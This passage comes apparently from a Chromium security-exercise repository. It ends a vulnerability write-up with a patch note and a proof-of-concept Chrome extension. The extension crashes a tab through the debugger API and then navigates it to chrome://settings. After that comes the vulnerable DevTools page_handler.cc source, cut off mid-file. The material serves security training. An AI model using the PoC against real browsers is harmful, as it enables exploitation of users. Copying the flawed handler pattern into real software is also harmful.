Maybe<std::string>());\n  }\n}\n  ```\n  And patch add check `weak_factory_` after `LoadURLWithParams`\n\n  `base::WeakPtrFactory<PageHandler> weak_factory_{this};`\n\n  **Poc**\n\n  This poc is in the form of a `extensions`, you can get guidence from [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1188889)\n  ```js\nlet tabUpdatedListener = null;\n\nchrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {\n    if (tabUpdatedListener) {\n        tabUpdatedListener(tabId, changeInfo, tab);\n    }\n});\n\nlet debugEventListener = null;\n\nchrome.debugger.onEvent.addListener(function (source, method, params) {\n    if (debugEventListener) {\n        debugEventListener(source, method, params);\n    }\n});\n\nstartProcess();\n\nfunction startProcess() {\n    let targetTab = null;\n\n    chrome.tabs.create({url: \"https://www.google.com/\"}, function (tab) {\n        targetTab = tab;\n    });\n\n    tabUpdatedListener = function (tabId, changeInfo, updatedTab) {\n        if (targetTab\n            && tabId === targetTab.id\n            && changeInfo.status === \"complete\") {\n            tabUpdatedListener = null;\n\n            onTargetTabLoaded(targetTab);\n        }\n    };\n}\n\nfunction onTargetTabLoaded(tab) {\n    chrome.debugger.attach({tabId: tab.id}, \"1.3\", function () {\n        onDebuggerAttachedToTargetTab(tab);\n    });\n}\n\nfunction onDebuggerAttachedToTargetTab(tab) {\n    chrome.debugger.sendCommand({tabId: tab.id}, \"Page.crash\", {});\n\n    debugEventListener = function (source, method, params) {\n        if (method === \"Inspector.targetCrashed\") {\n            debugEventListener = null;\n\n            chrome.debugger.sendCommand({tabId: tab.id}, \"Page.navigate\",\n                {url: \"chrome://settings/\"});\n        }\n    };\n}\n  ```\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_5/page_handler.cc",
    "content": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"content/browser/devtools/protocol/page_handler.h\"\n\n#include <algorithm>\n#include <memory>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"base/bind.h\"\n#include \"base/location.h\"\n#include \"base/memory/ref_counted.h\"\n#include \"base/memory/ref_counted_memory.h\"\n#include \"base/numerics/safe_conversions.h\"\n#include \"base/optional.h\"\n#include \"base/process/process_handle.h\"\n#include \"base/single_thread_task_runner.h\"\n#include \"base/strings/string_number_conversions.h\"\n#include \"base/strings/utf_string_conversions.h\"\n#include \"base/task/post_task.h\"\n#include \"base/task/thread_pool.h\"\n#include \"base/threading/thread_task_runner_handle.h\"\n#include \"build/build_config.h\"\n#include \"content/browser/child_process_security_policy_impl.h\"\n#include \"content/browser/devtools/devtools_agent_host_impl.h\"\n#include \"content/browser/devtools/protocol/browser_handler.h\"\n#include \"content/browser/devtools/protocol/devtools_mhtml_helper.h\"\n#include \"content/browser/devtools/protocol/emulation_handler.h\"\n#include \"content/browser/devtools/protocol/handler_helpers.h\"\n#include \"content/browser/manifest/manifest_manager_host.h\"\n#include \"content/browser/renderer_host/navigation_request.h\"\n#include \"content/browser/renderer_host/navigator.h\"\n#include \"content/browser/renderer_host/render_widget_host_impl.h\"\n#include \"content/browser/renderer_host/render_widget_host_view_base.h\"\n#include \"content/browser/web_contents/web_contents_impl.h\"\n#include \"content/browser/web_contents/web_contents_view.h\"\n#include \"content/public/browser/browser_context.h\"\n#include \"content/public/browser/browser_thread.h\"\n#include \"content/public/browser/download_manager.h\"\n#include \"content/public/browser/file_select_listener.h\"\n#include \"content/public/browser/javascript_dialog_manager.h\"\n#include \"content/public/browser/navigation_controller.h\"\n#include \"content/public/browser/navigation_entry.h\"\n#include \"content/public/browser/navigation_handle.h\"\n#include \"content/public/browser/storage_partition.h\"\n#include \"content/public/browser/web_contents_delegate.h\"\n#include \"content/public/common/referrer.h\"\n#include \"content/public/common/result_codes.h\"\n#include \"content/public/common/use_zoom_for_dsf_policy.h\"\n#include \"net/base/filename_util.h\"\n#include \"third_party/skia/include/core/SkBitmap.h\"\n#include \"ui/base/page_transition_types.h\"\n#include \"ui/gfx/codec/jpeg_codec.h\"\n#include \"ui/gfx/codec/png_codec.h\"\n#include \"ui/gfx/geometry/size_conversions.h\"\n#include \"ui/gfx/image/image.h\"\n#include \"ui/gfx/image/image_util.h\"\n#include \"ui/gfx/skbitmap_operations.h\"\n#include \"ui/snapshot/snapshot.h\"\n\n#ifdef OS_ANDROID\n#include \"content/browser/renderer_host/compositor_impl_android.h\"\n#endif\n\nnamespace content {\nnamespace protocol {\n\nnamespace {\n\nconstexpr const char* kMhtml = \"mhtml\";\nconstexpr const char* kPng = \"png\";\nconstexpr const char* kJpeg = \"jpeg\";\nconstexpr int kDefaultScreenshotQuality = 80;\nconstexpr int kFrameRetryDelayMs = 100;\nconstexpr int kCaptureRetryLimit = 2;\nconstexpr int kMaxScreencastFramesInFlight = 2;\nconstexpr char kCommandIsOnlyAvailableAtTopTarget[] =\n    \"Command can only be executed on top-level targets\";\n\nBinary EncodeImage(const gfx::Image& image,\n                   const std::string& format,\n                   int quality) {\n  DCHECK(!image.IsEmpty());\n\n  scoped_refptr<base::RefCountedMemory> data;\n  if (format == kPng) {\n    data = image.As1xPNGBytes();\n  } else if (format == kJpeg) {\n    scoped_refptr<base::RefCountedBytes> bytes(new base::RefCountedBytes());\n    if (gfx::JPEG1xEncodedDataFromImage(image, quality, &bytes->data()))\n      data = bytes;\n  }\n\n  if (!data || !data->front())\n    return protocol::Binary();\n\n  return Binary::fromRefCounted(data);\n}\n\nBinary EncodeSkBitmap(const SkBitmap& image,\n                      const std::string& format,\n                      int quality) {\n  return EncodeImage(gfx::Image::CreateFrom1xBitmap(image), format, quality);\n}\n\nstd::unique_ptr<Page::ScreencastFrameMetadata> BuildScreencastFrameMetadata(\n    const gfx::Size& surface_size,\n    float device_scale_factor,\n    float page_scale_factor,\n    const gfx::Vector2dF& root_scroll_offset,\n    float top_controls_visible_height) {\n  if (surface_size.IsEmpty() || device_scale_factor == 0)\n    return nullptr;\n\n  const gfx::SizeF content_size_dip =\n      gfx::ScaleSize(gfx::SizeF(surface_size), 1 / device_scale_factor);\n  float top_offset_dip = top_controls_visible_height;\n  gfx::Vector2dF root_scroll_offset_dip = root_scroll_offset;\n  if (IsUseZoomForDSFEnabled()) {\n    top_offset_dip /= device_scale_factor;\n    root_scroll_offset_dip.Scale(1 / device_scale_factor);\n  }\n  std::unique_ptr<Page::ScreencastFrameMetadata> page_metadata =\n      Page::ScreencastFrameMetadata::Create()\n          .SetPageScaleFactor(page_scale_factor)\n          .SetOffsetTop(top_offset_dip)\n          .SetDeviceWidth(content_size_dip.width())\n          .SetDeviceHeight(content_size_dip.height())\n          .SetScrollOffsetX(root_scroll_offset_dip.x())\n          .SetScrollOffsetY(root_scroll_offset_dip.y())\n          .SetTimestamp(base::Time::Now().ToDoubleT())\n          .Build();\n  return page_metadata;\n}\n\n// Determines the snapshot size that best-fits the Surface's content to the\n// remote's requested image size.\ngfx::Size DetermineSnapshotSize(const gfx::Size& surface_size,\n                                int screencast_max_width,\n                                int screencast_max_height) {\n  if (surface_size.IsEmpty())\n    return gfx::Size();  // Nothing to copy (and avoid divide-by-zero below).\n\n  double scale = 1;\n  if (screencast_max_width > 0) {\n    scale = std::min(scale, static_cast<double>(screencast_max_width) /\n                                surface_size.width());\n  }\n  if (screencast_max_height > 0) {\n    scale = std::min(scale, static_cast<double>(screencast_max_height) /\n                                surface_size.height());\n  }\n  return gfx::ToRoundedSize(gfx::ScaleSize(gfx::SizeF(surface_size), scale));\n}\n\nvoid GetMetadataFromFrame(const media::VideoFrame& frame,\n                          double* device_scale_factor,\n                          double* page_scale_factor,\n                          gfx::Vector2dF* root_scroll_offset,\n                          double* top_controls_visible_height) {\n  // Get metadata from |frame|. This will CHECK if metadata is missing.\n  *device_scale_factor = *frame.metadata().device_scale_factor;\n  *page_scale_factor = *frame.metadata().page_scale_factor;\n  root_scroll_offset->set_x(*frame.metadata().root_scroll_offset_x);\n  root_scroll_offset->set_y(*frame.metadata().root_scroll_offset_y);\n  *top_controls_visible_height = *frame.metadata().top_controls_visible_height;\n}\n\ntemplate <typename ProtocolCallback>\nbool CanExecuteGlobalCommands(\n    RenderFrameHost* host,\n    const std::unique_ptr<ProtocolCallback>& callback) {\n  if (!host || !host->GetParent())\n    return true;\n  callback->sendFailure(\n      Response::ServerError(kCommandIsOnlyAvailableAtTopTarget));\n  return false;\n}\n\n}  // namespace\n\nPageHandler::PageHandler(EmulationHandler* emulation_handler,\n                         BrowserHandler* browser_handler,\n                         bool allow_file_access)\n    : DevToolsDomainHandler(Page::Metainfo::domainName),\n      enabled_(false),\n      screencast_enabled_(false),\n      screencast_quality_(kDefaultScreenshotQuality),\n      screencast_max_width_(-1),\n      screencast_max_height_(-1),\n      capture_every_nth_frame_(1),\n      capture_retry_count_(0),\n      session_id_(0),\n      frame_counter_(0),\n      frames_in_flight_(0),\n      video_consumer_(nullptr),\n      last_surface_size_(gfx::Size()),\n      host_(nullptr),\n      emulation_handler_(emulation_handler),\n      browser_handler_(browser_handler) {\n  bool create_video_consumer = true;\n#ifdef OS_ANDROID\n  constexpr auto kScreencastPixelFormat = media::PIXEL_FORMAT_I420;\n  // Video capture doesn't work on Android WebView. Use CopyFromSurface instead.\n  if (!CompositorImpl::IsInitialized())\n    create_video_consumer = false;\n#else\n  constexpr auto kScreencastPixelFormat = media::PIXEL_FORMAT_ARGB;\n#endif\n  if (create_video_consumer) {\n    video_consumer_ = std::make_unique<DevToolsVideoConsumer>(\n        base::BindRepeating(&PageHandler::OnFrameFromVideoConsumer,\n                            weak_factory_.GetWeakPtr()));\n    video_consumer_->SetFormat(kScreencastPixelFormat,\n                               gfx::ColorSpace::CreateREC709());\n  }\n  DCHECK(emulation_handler_);\n}\n\nPageHandler::~PageHandler() = default;\n\n// static\nstd::vector<PageHandler*> PageHandler::EnabledForWebContents(\n    WebContentsImpl* contents) {\n  if (!DevToolsAgentHost::HasFor(contents))\n    return std::vector<PageHandler*>();\n  std::vector<PageHandler*> result;\n  for (auto* handler :\n       PageHandler::ForAgentHost(static_cast<DevToolsAgentHostImpl*>(\n           DevToolsAgentHost::GetOrCreateFor(contents).get()))) {\n    if (handler->enabled_)\n      result.push_back(handler);\n  }\n  return result;\n}\n\n// static\nstd::vector<PageHandler*> PageHandler::ForAgentHost(\n    DevToolsAgentHostImpl* host) {\n  return host->HandlersByName<PageHandler>(Page::Metainfo::domainName);\n}\n\nvoid PageHandler::SetRenderer(int process_host_id,\n                              RenderFrameHostImpl* frame_host) {\n  if (host_ == frame_host)\n    return;\n\n  RenderWidgetHostImpl* widget_host =\n      host_ ? host_->GetRenderWidgetHost() : nullptr;\n  if (widget_host && observation_.IsObservingSource(widget_host))\n    observation_.Reset();\n\n  host_ = frame_host;\n  widget_host = host_ ? host_->GetRenderWidgetHost() : nullptr;\n\n  if (widget_host)\n    observation_.Observe(widget_host);\n\n  if (video_consumer_ && frame_host) {\n    video_consumer_->SetFrameSinkId(\n        frame_host->GetRenderWidgetHost()->GetFrameSinkId());\n  }\n}\n\nvoid PageHandler::Wire(UberDispatcher* dispatcher) {\n  frontend_.reset(new Page::Frontend(dispatcher->channel()));\n  Page::Dispatcher::wire(dispatcher, this);\n}\n\nvoid PageHandler::OnSynchronousSwapCompositorFrame(\n    const cc::RenderFrameMetadata& frame_metadata) {\n  // Cache |frame_metadata_| as InnerSwapCompositorFrame may also be called on\n  // screencast start.\n  frame_metadata_ = frame_metadata;\n  if (screencast_enabled_)\n    InnerSwapCompositorFrame();\n}\n\nvoid PageHandler::RenderWidgetHostVisibilityChanged(\n    RenderWidgetHost* widget_host,\n    bool became_visible) {\n  if (!screencast_enabled_)\n    return;\n  NotifyScreencastVisibility(became_visible);\n}\n\nvoid PageHandler::RenderWidgetHostDestroyed(RenderWidgetHost* widget_host) {\n  DCHECK(observation_.IsObservingSource(widget_host));\n  observation_.Reset();\n}\n\nvoid PageHandler::DidAttachInterstitialPage() {\n  if (!enabled_)\n    return;\n  frontend_->InterstitialShown();\n}\n\nvoid PageHandler::DidDetachInterstitialPage() {\n  if (!enabled_)\n    return;\n  frontend_->InterstitialHidden();\n}\n\nvoid PageHandler::DidRunJavaScriptDialog(const GURL& url,\n                                         const std::u16string& message,\n                                         const std::u16string& default_prompt,\n                                         JavaScriptDialogType dialog_type,\n                                         bool has_non_devtools_handlers,\n                                         JavaScriptDialogCallback callback) {\n  if (!enabled_)\n    return;\n  DCHECK(pending_dialog_.is_null());\n  pending_dialog_ = std::move(callback);\n  std::string type = Page::DialogTypeEnum::Alert;\n  if (dialog_type == JAVASCRIPT_DIALOG_TYPE_CONFIRM)\n    type = Page::DialogTypeEnum::Confirm;\n  if (dialog_type == JAVASCRIPT_DIALOG_TYPE_PROMPT)\n    type = Page::DialogTypeEnum::Prompt;\n  frontend_->JavascriptDialogOpening(url.spec(), base::UTF16ToUTF8(message),\n                                     type, has_non_devtools_handlers,\n                                     base::UTF16ToUTF8(default_prompt));\n}\n\nvoid PageHandler::DidRunBeforeUnloadConfirm(const GURL& url,\n                                            bool has_non_devtools_handlers,\n                                            JavaScriptDialogCallback callback) {\n  if (!enabled_)\n    return;\n  DCHECK(pending_dialog_.is_null());\n  pending_dialog_ = std::move(callback);\n  frontend_->JavascriptDialogOpening(url.spec(), std::string(),\n                                     Page::DialogTypeEnum::Beforeunload,\n                                     has_non_devtools_handlers, std::string());\n}\n\nvoid PageHandler::DidCloseJavaScriptDialog(bool success,\n                                           const std::u16string& user_input) {\n  if (!enabled_)\n    return;\n  pending_dialog_.Reset();\n  frontend_->JavascriptDialogClosed(success, base::UTF16ToUTF8(user_input));\n}\n\nResponse PageHandler::Enable() {\n  enabled_ = true;\n  return Response::FallThrough();\n}\n\nResponse PageHandler::Disable() {\n  enabled_ = false;\n  screencast_enabled_ = false;\n\n  if (video_consumer_)\n    video_consumer_->StopCapture();\n\n  if (!pending_dialog_.is_null()) {\n    WebContentsImpl* web_contents = GetWebContents();\n    // Leave dialog hanging if there is a manager that can take care of it,\n    // cancel and send ack otherwise.\n    bool has_dialog_manager =\n        web_contents && web_contents->GetDelegate() &&\n        web_contents->GetDelegate()->GetJavaScriptDialogManager(web_contents);\n    if (!has_dialog_manager)\n      std::move(pending_dialog_).Run(false, std::u16string());\n    pending_dialog_.Reset();\n  }\n\n  for (auto* item : pending_downloads_)\n    item->RemoveObserver(this);\n  navigate_callbacks_.clear();\n  return Response::FallThrough();\n}\n\nResponse PageHandler::Crash() {\n  WebContents* web_contents = WebContents::FromRenderFrameHost(host_);\n  if (!web_contents)\n    return Response::ServerError(\"Not attached to a page\");\n  if (web_contents->IsCrashed())\n    return Response::ServerError(\"The target has already crashed\");\n  if (host_->frame_tree_node()->navigation_request())\n    return Response::ServerError(\"Page has pending navigations, not killing\");\n  return Response::FallThrough();\n}\n\nResponse PageHandler::Close() {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::ServerError(\"Not attached to a page\");\n  web_contents->DispatchBeforeUnload(false /* auto_cancel */);\n  return Response::Success();\n}\n\nvoid PageHandler::Reload(Maybe<bool> bypassCache,\n                         Maybe<std::string> script_to_evaluate_on_load,\n                         std::unique_ptr<ReloadCallback> callback) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents) {\n    callback->sendFailure(Response::InternalError());\n    return;\n  }\n\n  // In the case of inspecting a GuestView (e.g. a PDF), we should reload\n  // the outer web contents (embedder), since otherwise reloading the guest by\n  // itself will fail.\n  if (web_contents->GetOuterWebContents())\n    web_contents = web_contents->GetOuterWebContents();\n\n  // It is important to fallback before triggering reload, so that\n  // renderer could prepare beforehand.\n  callback->fallThrough();\n  web_contents->GetController().Reload(bypassCache.fromMaybe(false)\n                                           ? ReloadType::BYPASSING_CACHE\n                                           : ReloadType::NORMAL,\n                                       false);\n}\n\nstatic network::mojom::ReferrerPolicy ParsePolicyFromString(\n    const std::string& policy) {\n  if (policy == Page::ReferrerPolicyEnum::NoReferrer)\n    return network::mojom::ReferrerPolicy::kNever;\n  if (policy == Page::ReferrerPolicyEnum::NoReferrerWhenDowngrade)\n    return network::mojom::ReferrerPolicy::kNoReferrerWhenDowngrade;\n  if (policy == Page::ReferrerPolicyEnum::Origin)\n    return network::mojom::ReferrerPolicy::kOrigin;\n  if (policy == Page::ReferrerPolicyEnum::OriginWhenCrossOrigin)\n    return network::mojom::ReferrerPolicy::kOriginWhenCrossOrigin;\n  if (policy == Page::ReferrerPolicyEnum::SameOrigin)\n    return network::mojom::ReferrerPolicy::kSameOrigin;\n  if (policy == Page::ReferrerPolicyEnum::StrictOrigin)\n    return network::mojom::ReferrerPolicy::kStrictOrigin;\n  if (policy == Page::ReferrerPolicyEnum::StrictOriginWhenCrossOrigin) {\n    return network::mojom::ReferrerPolicy::kStrictOriginWhenCrossOrigin;\n  }\n  if (policy == Page::ReferrerPolicyEnum::UnsafeUrl)\n    return network::mojom::ReferrerPolicy::kAlways;\n\n  DCHECK(policy.empty());\n  return network::mojom::ReferrerPolicy::kDefault;\n}\n\nvoid PageHandler::Navigate(const std::string& url,\n                           Maybe<std::string> referrer,\n                           Maybe<std::string> maybe_transition_type,\n                           Maybe<std::string> frame_id,\n                           Maybe<std::string> referrer_policy,\n                           std::unique_ptr<NavigateCallback> callback) {\n  GURL gurl(url);\n  if (!gurl.is_valid()) {\n    callback->sendFailure(\n        Response::ServerError(\"Cannot navigate to invalid URL\"));\n    return;\n  }\n\n  if (!host_) {\n    callback->sendFailure(Response::InternalError());\n    return;\n  }\n\n  ui::PageTransition type;\n  std::string transition_type =\n      maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed);\n  if (transition_type == Page::TransitionTypeEnum::Link)\n    type = ui::PAGE_TRANSITION_LINK;\n  else if (transition_type == Page::TransitionTypeEnum::Typed)\n    type = ui::PAGE_TRANSITION_TYPED;\n  else if (transition_type == Page::TransitionTypeEnum::Address_bar)\n    type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark)\n    type = ui::PAGE_TRANSITION_AUTO_BOOKMARK;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_subframe)\n    type = ui::PAGE_TRANSITION_AUTO_SUBFRAME;\n  else if (transition_type == Page::TransitionTypeEnum::Manual_subframe)\n    type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME;\n  else if (transition_type == Page::TransitionTypeEnum::Generated)\n    type = ui::PAGE_TRANSITION_GENERATED;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel)\n    type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL;\n  else if (transition_type == Page::TransitionTypeEnum::Form_submit)\n    type = ui::PAGE_TRANSITION_FORM_SUBMIT;\n  else if (transition_type == Page::TransitionTypeEnum::Reload)\n    type = ui::PAGE_TRANSITION_RELOAD;\n  else if (transition_type == Page::TransitionTypeEnum::Keyword)\n    type = ui::PAGE_TRANSITION_KEYWORD;\n  else if (transition_type == Page::TransitionTypeEnum::Keyword_generated)\n    type = ui::PAGE_TRANSITION_KEYWORD_GENERATED;\n  else\n    type = ui::PAGE_TRANSITION_TYPED;\n\n  std::string out_frame_id = frame_id.fromMaybe(\n      host_->frame_tree_node()->devtools_frame_token().ToString());\n  FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken(\n      host_->frame_tree_node(), out_frame_id);\n\n  if (!frame_tree_node) {\n    callback->sendFailure(\n        Response::ServerError(\"No frame with given id found\"));\n    return;\n  }\n\n  NavigationController::LoadURLParams params(gurl);\n  network::mojom::ReferrerPolicy policy =\n      ParsePolicyFromString(referrer_policy.fromMaybe(\"\"));\n  params.referrer = Referrer(GURL(referrer.fromMaybe(\"\")), policy);\n  params.transition_type = type;\n  params.frame_tree_node_id = frame_tree_node->frame_tree_node_id();\n  frame_tree_node->navigator().controller().LoadURLWithParams(params);\n\n  if (frame_tree_node->navigation_request()) {\n    navigate_callbacks_[frame_tree_node->navigation_request()\n                            ->devtools_navigation_token()] =\n        std::move(callback);\n  } else {\n    callback->sendSuccess(out_frame_id, Maybe<std::string>(),\n                          Maybe<std::string>());\n  }\n}\n\nvoid PageHandler::NavigationReset(NavigationRequest* navigation_request) {\n  auto navigate_callback =\n      navigate_callbacks_.find(navigation_request->devtools_navigation_token());\n  if (navigate_callback == navigate_callbacks_.end())\n    return;\n  std::string frame_id =\n      navigation_request->frame_tree_node()->devtools_frame_token().ToString();\n  // A new NavigationRequest may have been created before |navigation_request|\n  // started, in which case it is not marked as aborted. We report this as an\n  // abort to DevTools anyway.\n  if (!navigation_request->IsNavigationStarted()) {\n    navigate_callback->second->sendSuccess(\n        frame_id, Maybe<std::string>(),\n        Maybe<std::string>(net::ErrorToString(net::ERR_ABORTED)));\n  } else {\n    bool success = navigation_request->GetNetErrorCode() == net::OK;\n    std::string error_string =\n        net::ErrorToString(navigation_request->GetNetErrorCode());\n    navigate_callback->second->sendSuccess(\n        frame_id,\n        Maybe<std::string>(\n            navigation_request->devtools_navigation_token().ToString()),\n        success ? Maybe<std::string>() : Maybe<std::string>(error_string));\n  }\n  navigate_callbacks_.erase(navigate_callback);\n}\n\nvoid PageHandler::DownloadWillBegin(FrameTreeNode* ftn,\n                                    download::DownloadItem* item) {\n  if (!enabled_)\n    return;\n\n  // The filename the end user sees may differ. This is an attempt to eagerly\n  // determine the filename at the beginning of the download; see\n  // DownloadTargetDeterminer:DownloadTargetDeterminer::Result\n  // and DownloadTargetDeterminer::GenerateFileName in\n  // chrome/browser/download/download_target_determiner.cc\n  // for the more comprehensive logic.\n  const std::u16string likely_filename = net::GetSuggestedFilename(\n      item->GetURL(), item->GetContentDisposition(), std::string(),\n      item->GetSuggestedFilename(), item->GetMimeType(), \"download\");\n\n  frontend_->DownloadWillBegin(ftn->devtools_frame_token().ToString(),\n                               item->GetGuid(), item->GetURL().spec(),\n                               base::UTF16ToUTF8(likely_filename));\n\n  item->AddObserver(this);\n  pending_downloads_.insert(item);\n}\n\nvoid PageHandler::OnDownloadDestroyed(download::DownloadItem* item) {\n  pending_downloads_.erase(item);\n}\n\nvoid PageHandler::OnDownloadUpdated(download::DownloadItem* item) {\n  if (!enabled_)\n    return;\n  std::string state = Page::DownloadProgress::StateEnum::InProgress;\n  if (item->GetState() == download::DownloadItem::COMPLETE)\n    state = Page::DownloadProgress::StateEnum::Completed;\n  else if (item->GetState() == download::DownloadItem::CANCELLED)\n    state = Page::DownloadProgress::StateEnum::Canceled;\n  frontend_->DownloadProgress(item->GetGuid(), item->GetTotalBytes(),\n                              item->GetReceivedBytes(), state);\n  if (state != Page::DownloadProgress::StateEnum::InProgress) {\n    item->RemoveObserver(this);\n    pending_downloads_.erase(item);\n  }\n}\n\nstatic const char* TransitionTypeName(ui::PageTransition type) {\n  int32_t t = type & ~ui::PAGE_TRANSITION_QUALIFIER_MASK;\n  switch (t) {\n    case ui::PAGE_TRANSITION_LINK:\n      return Page::TransitionTypeEnum::Link;\n    case ui::PAGE_TRANSITION_TYPED:\n      return Page::TransitionTypeEnum::Typed;\n    case ui::PAGE_TRANSITION_AUTO_BOOKMARK:\n      return Page::TransitionTypeEnum::Auto_bookmark;\n    case ui::PAGE_TRANSITION_AUTO_SUBFRAME:\n      return Page::TransitionTypeEnum::Auto_subframe;\n    case ui::PAGE_TRANSITION_MANUAL_SUBFRAME:\n      return Page::TransitionTypeEnum::Manual_subframe;\n    case ui::PAGE_TRANSITION_GENERATED:\n      return Page::TransitionTypeEnum::Generated;\n    case ui::PAGE_TRANSITION_AUTO_TOPLEVEL:\n      return Page::TransitionTypeEnum::Auto_toplevel;\n    case ui::PAGE_TRANSITION_FORM_SUBMIT:\n      return Page::TransitionTypeEnum::Form_submit;\n    case ui::PAGE_TRANSITION_RELOAD:\n      return Page::TransitionTypeEnum::Reload;\n    case ui::PAGE_TRANSITION_KEYWORD:\n      return Page::TransitionTypeEnum::Keyword;\n    case ui::PAGE_TRANSITION_KEYWORD_GENERATED:\n      return Page::TransitionTypeEnum::Keyword_generated;\n    default:\n      return Page::TransitionTypeEnum::Other;\n  }\n}\n\nResponse PageHandler::GetNavigationHistory(\n    int* current_index,\n    std::unique_ptr<NavigationEntries>* entries) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n\n  NavigationController& controller = web_contents->GetController();\n  *current_index = controller.GetCurrentEntryIndex();\n  *entries = std::make_unique<NavigationEntries>();\n  for (int i = 0; i != controller.GetEntryCount(); ++i) {\n    auto* entry = controller.GetEntryAtIndex(i);\n    (*entries)->emplace_back(\n        Page::NavigationEntry::Create()\n            .SetId(entry->GetUniqueID())\n            .SetUrl(entry->GetURL().spec())\n            .SetUserTypedURL(entry->GetUserTypedURL().spec())\n            .SetTitle(base::UTF16ToUTF8(entry->GetTitle()))\n            .SetTransitionType(TransitionTypeName(entry->GetTransitionType()))\n            .Build());\n  }\n  return Response::Success();\n}\n\nResponse PageHandler::NavigateToHistoryEntry(int entry_id) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n\n  NavigationController& controller = web_contents->GetController();\n  for (int i = 0; i != controller.GetEntryCount(); ++i) {\n    if (controller.GetEntryAtIndex(i)->GetUniqueID() == entry_id) {\n      controller.GoToIndex(i);\n      return Response::Success();\n    }\n  }\n\n  return Response::InvalidParams(\"No entry with passed id\");\n}\n\nstatic bool ReturnTrue(NavigationEntry* entry) {\n  return true;\n}\n\nResponse PageHandler::ResetNavigationHistory() {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n\n  NavigationController& controller = web_contents->GetController();\n  controller.DeleteNavigationEntries(base::BindRepeating(&ReturnTrue));\n  return Response::Success();\n}\n\nvoid PageHandler::CaptureSnapshot(\n    Maybe<std::string> format,\n    std::unique_ptr<CaptureSnapshotCallback> callback) {\n  if (!CanExecuteGlobalCommands(host_, callback))\n    return;\n  std::string snapshot_format = format.fromMaybe(kMhtml);\n  if (snapshot_format != kMhtml) {\n    callback->sendFailure(Response::ServerError(\"Unsupported snapshot format\"));\n    return;\n  }\n  DevToolsMHTMLHelper::Capture(weak_factory_.GetWeakPtr(), std::move(callback));\n}\n\nvoid PageHandler::CaptureScreenshot(\n    Maybe<std::string> format,\n    Maybe<int> quality,\n    Maybe<Page::Viewport> clip,\n    Maybe<bool> from_surface,\n    Maybe<bool> capture_beyond_viewport,\n    std::unique_ptr<CaptureScreenshotCallback> callback) {\n  if (!host_ || !host_->GetRenderWidgetHost() ||\n      !host_->GetRenderWidgetHost()->GetView()) {\n    callback->sendFailure(Response::InternalError());\n    return;\n  }\n  if (!CanExecuteGlobalCommands(host_, callback))\n    return;\n  if (clip.isJust()) {\n    if (clip.fromJust()->GetWidth() == 0) {\n      callback->sendFailure(\n          Response::ServerError(\"Cannot take screenshot with 0 width.\"));\n      return;\n    }\n    if (clip.fromJust()->GetHeight() == 0) {\n      callback->sendFailure(\n          Response::ServerError(\"Cannot take screenshot with 0 height.\"));\n      return;\n    }\n  }\n\n  RenderWidgetHostImpl* widget_host = host_->GetRenderWidgetHost();\n  std::string screenshot_format = format.fromMaybe(kPng);\n  int screenshot_quality = quality.fromMaybe(kDefaultScreenshotQuality);\n\n  // We don't support clip/emulation when capturing from window, bail out.\n  if (!from_surface.fromMaybe(true)) {\n    widget_host->GetSnapshotFromBrowser(\n        base::BindOnce(&PageHandler::ScreenshotCaptured,\n                       weak_factory_.GetWeakPtr(), std::move(callback),\n                       screenshot_format, screenshot_quality, gfx::Size(),\n                       gfx::Size(), blink::DeviceEmulationParams(),\n                       base::nullopt),\n        false);\n    return;\n  }\n\n  // Welcome to the neural net of capturing screenshot while emulating device\n  // metrics!\n  bool emulation_enabled = emulation_handler_->device_emulation_enabled();\n  blink::DeviceEmulationParams original_params =\n      emulation_handler_->GetDeviceEmulationParams();\n  blink::DeviceEmulationParams modified_params = original_params;\n\n  // Capture original view size if we know we are going to destroy it. We use\n  // it in ScreenshotCaptured to restore.\n  gfx::Size original_view_size =\n      emulation_enabled || clip.isJust()\n          ? widget_host->GetView()->GetViewBounds().size()\n          : gfx::Size();\n  gfx::Size emulated_view_size = modified_params.view_size;\n\n  double dpfactor = 1;\n  float widget_host_device_scale_factor = widget_host->GetDeviceScaleFactor();\n  if (emulation_enabled) {\n    // When emulating, emulate again and scale to make resulting image match\n    // physical DP resolution. If view_size is not overriden, use actual view\n    // size.\n    float original_scale =\n        original_params.scale > 0 ? original_params.scale : 1;\n    if (!modified_params.view_size.width()) {\n      emulated_view_size.set_width(\n          ceil(original_view_size.width() / original_scale));\n    }\n    if (!modified_params.view_size.height()) {\n      emulated_view_size.set_height(\n          ceil(original_view_size.height() / original_scale));\n    }\n\n    dpfactor = modified_params.device_scale_factor\n                   ? modified_params.device_scale_factor /\n                         widget_host_device_scale_factor\n                   : 1;\n    // When clip is specified, we scale viewport via clip, otherwise we use\n    // scale.\n    modified_params.scale = clip.isJust() ? 1 : dpfactor;\n    modified_params.view_size = emulated_view_size;\n  } else if (clip.isJust()) {\n    // When not emulating, still need to emulate the page size.\n    modified_params.view_size = original_view_size;\n    modified_params.screen_size = gfx::Size();\n    modified_params.device_scale_factor = 0;\n    modified_params.scale = 1;\n  }\n\n  // Set up viewport in renderer.\n  if (clip.isJust()) {\n    modified_params.viewport_offset.SetPoint(clip.fromJust()->GetX(),\n                                             clip.fromJust()->GetY());\n    modified_params.viewport_scale = clip.fromJust()->GetScale() * dpfactor;\n    if (IsUseZoomForDSFEnabled()) {\n      modified_params.viewport_offset.Scale(widget_host_device_scale_factor);\n    }\n  }\n\n  base::Optional<blink::web_pref::WebPreferences> 